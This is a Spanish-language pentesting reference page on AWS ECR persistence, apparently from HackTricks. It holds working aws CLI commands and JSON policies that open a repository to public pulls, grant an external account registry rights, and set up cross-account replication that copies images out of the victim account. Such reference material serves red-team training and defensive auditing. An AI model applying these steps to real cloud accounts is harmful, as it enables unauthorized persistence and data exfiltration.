AWS - ECR Persistence

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

ECR

Para más información consulta:

pageAWS - ECR Enum

Imagen Docker Oculta con Código Malicioso

Un atacante podría subir una imagen Docker que contenga código malicioso a un repositorio de ECR y usarlo para mantener persistencia en la cuenta de AWS objetivo. Luego, el atacante podría implementar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa.

Política del Repositorio

Agregar una política a un único repositorio otorgándote a ti mismo (o a todos) acceso al repositorio:

aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

Tenga en cuenta que ECR requiere que los usuarios tengan permisos para realizar llamadas a la API ecr:GetAuthorizationToken a través de una política IAM antes de poder autenticarse en un registro y subir o bajar imágenes de cualquier repositorio de Amazon ECR.

Política de Registro y Replicación entre Cuentas

Es posible replicar automáticamente un registro en una cuenta externa configurando la replicación entre cuentas, donde necesita indicar la cuenta externa donde desea replicar el registro.

Primero, debe dar acceso a la cuenta externa sobre el registro con una política de registro como:

aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Luego aplica la configuración de replicación:

aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipo Rojo de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

Última actualización